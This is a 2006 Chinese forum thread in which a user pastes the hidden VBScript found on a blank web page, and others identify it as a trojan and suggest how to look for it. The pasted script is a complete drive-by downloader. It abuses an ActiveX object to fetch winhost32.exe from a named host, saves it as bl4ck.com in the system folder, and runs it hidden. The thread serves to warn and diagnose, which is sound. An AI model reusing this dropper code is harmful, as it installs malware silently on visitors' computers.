我在一个网站上发现的代码,哪位大狭看看是做什么的

打开那个网站后,什么也显示没有,查看源代码,如下:感觉不是好东西。哪为大狭给解释一下,我是否已经中大奖了?
var Words="





on error resume next
dl = "http://superlone.my.phome.cn/tools2/winhost32.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="bl4ck.com"
set F = df.createobject("ing.FileSystemObject","")
set temp = F.GetSpecialFolder(1)
fname1= F.BuildPath(temp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
>


所有跟帖: 

俺感觉这象一个木马,谁能告诉俺是什么马?怎么去掉? -均萎主席- 给 均萎主席 发送悄悄话 (0 bytes) () 09/03/2006 postreply 19:11:27

恭喜,中奖了。看task manager有没有winhost32.exe和bl4ck.com -牧风- 给 牧风 发送悄悄话 牧风 的博客首页 (0 bytes) () 09/03/2006 postreply 20:34:10

用process explorer看有没有程序连着winhost32.exe和bl4ck.com -牧风- 给 牧风 发送悄悄话 牧风 的博客首页 (0 bytes) () 09/03/2006 postreply 21:46:49

没看见那俩程序名,process explorer在哪儿? -均萎主席- 给 均萎主席 发送悄悄话 (0 bytes) () 09/04/2006 postreply 05:46:28

多谢帮助! -均萎主席- 给 均萎主席 发送悄悄话 (0 bytes) () 09/04/2006 postreply 05:58:41

那个有病毒的网站是superlone.my.phome.cn,各位小心! -均萎主席- 给 均萎主席 发送悄悄话 (0 bytes) () 09/04/2006 postreply 05:59:41

请您先登陆,再发跟帖!